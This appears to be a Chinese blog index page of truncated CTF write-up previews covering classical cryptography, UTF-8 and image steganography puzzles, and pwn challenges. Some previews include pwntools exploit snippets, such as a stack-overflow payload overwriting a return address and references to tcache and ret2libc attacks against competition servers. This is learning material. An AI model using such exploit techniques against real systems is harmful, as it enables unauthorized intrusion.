4.4k4 分钟

作业 (o′┏▽┓`o) # 数学思维在密码学中的应用 在进行具体阐述之前,我认为有必要初步介绍一下密码学 # 密码学介绍 我认为密码学要探讨的问题,就是如何更好地进行信息加密、防止信息泄露。 密码学有数千年的历史。最开始为了防止信息泄露,会采取诸如,将信息用特殊的化学墨水写在纸上加以隐藏的手段, 但是这样的保密措施非常容易破解,但凡知道这个方法,就能轻易地读取隐藏地信息。 所以就诞生了密码 —— 一种通过密钥加密信息的手段 # 古典密码 1976 年以前的密码都属于古典密码, 古典密码有很多种,基本地可以大致分为两种,换位密码和替换密码。 简单来说,换位密码就是把明文(需加密的信息)
2.9k3 分钟

# MISC # Ranma½ 终归还是少了点经验,以及一些奇奇怪怪的知识。。。 # UTF-8 可变长编码 首先一定要详细了解 UTF-8 编码, 完整的表如下: 图中一行的 xxx... 部分组合起来即为对应的 Unicode 代码 可能这样还是比较难以理解,那就仔细阅读下面的例子就行了: 希伯来语字母 א 的 Unicode 代码是 U+05D0,UTF-8 是 0xD7 0x90, 则 Unicode to UTF-8 转换如下: 首先判断它属于哪一行: U+0080 到 U+07FF,观察表中对应行,说明它使用双字节,即 110xxxxx 10xxxxxx 然后分解十六进
8.8k8 分钟

# Crypto # Dancing_Line 有点靠脑洞啊,这道 crypto 不讲武德 /_ \ ,不过仔细看看还是大概能猜到的~ 图片上有一条线,放大可以看出,每隔一小段会有一个黑点 所以,我用 python PIL 库写个脚本导出黑点的坐标 from PIL import Imageimg=Image.open('./Dancing_Line.bmp')w,h=img.size#print(w,h)pos=[]for i in range(w): for j in range(h): if img.getpixe
7.9k7 分钟

# MISC # fumo_xor_cli(1.16) 啊啊啊,做这道题的时候就差一点,两张需要 xor 的图也导出来了,就是第一张那个需要叠加的图貌似排反了 ┭┮﹏┭┮ (做的时候就发现两张图长度都是一样的,难怪我说 xor 出来不太对劲。。。) # 第一张图 nc 连上之后,发现出来了一堆彩色字符 python PIL 转为图片,发现中间有两张图片部分有点奇怪 搜索了一下大概是 ANSI 转义字符,大致格式如下: \x1b[ 38 ; 2 ; 208 ; 243 ; 251 m9 38;2;r;g;b Set text colour to an RGB value (e.g. \x
7741 分钟

# Misc # YUSA 的小秘密 附件下载 题目描述:LSB,但又不是 LSB,众所周知不止 RGB... 直接用 stegsolve 打开有两个通道能直接看到 flag,可是噪点实在太多了. 联想到题目描述,开始查找资料. 可以参考 Bytectf2020 的 Misc: Hardcore Watermark 01 这道题 图片中每个像素可以通过三个通道来表示,常见的是 R (red) G (green) B (blue) 模式。而本题用到的通道是 YCrCb。 通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb) 对 img 图片数据进行色彩
5.5k5 分钟

# spn(11.26) 附件下载 复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor. 虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制, 然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路. 0RAY 的脚本放上: #!/usr/bin/python# -*- coding:utf-8 -*-from pwn import *import syscontext.log_l
2.4k2 分钟

文章时间太早,图片丢失 # Crypto-RingRingRing 连上后先是让我们输验证码,MD5,这个没什么好说的,爆破一下就出了。 然后让我们给出满足条件 a**4 + b**4 + c**4 + d**4 = e**2 的 100 个 a,b,c,d,e 依旧是爆破,判断 sqrt(a**4 + b**4 + c**4 + d**4) 的值为整数时,依次输出 a,b,c,d,e 就可以了,输出 100 个之后返回就可以得到 flag from pwn import* from math import sqrt r=remote('192.
7.7k7 分钟

文章时间太早,图片丢失 # Misc-red_vs_blue 简单来说就是 66 轮试错,同一次 nc 里面的答案是一样的,要么输入 r, 要么输入 b,错了就输入 y 重来,因为有时间限制,只能上脚本(本来还想手搓) from pwn import *# sh=process ("./buu--rip") local 端sh = remote('node4.buuoj.cn', 28699)s = []i=1tag=0q = sh.recvuntil(':')whi
3.5k3 分钟

# pwn1 都说了是测试 nc 了,连上就直接可以拿到 flag # pwn2 给我们个 password,你再传回去就完了 关键是要仔细读题,看仔细到底哪些是 password from pwn import *r=remote("219.219.61.234",6666 )print(r.recvuntil(b'*\n').decode())p=r.recvuntil(b'\n')[:-1]print(bytes(p))r.sendline(bytes(p))r.interactive()# pwn3 ret2lib
7.3k7 分钟

# PWN # pwn1 nc 连上 直接 cat flag # pwn2 经典栈溢出 from pwn import *#r=process("./pwn2")r=remote('1.15.81.218',10001)p=b'a' * 72 + p64(0x400596)r.sendline(p)r.interactive()直接传就行了... # pwn3 开了 NX 保护,没开金丝雀 有个 echo flag,感觉像是那么回事,实际上没用, 所以还是得通过 system 函数来搞 这里 s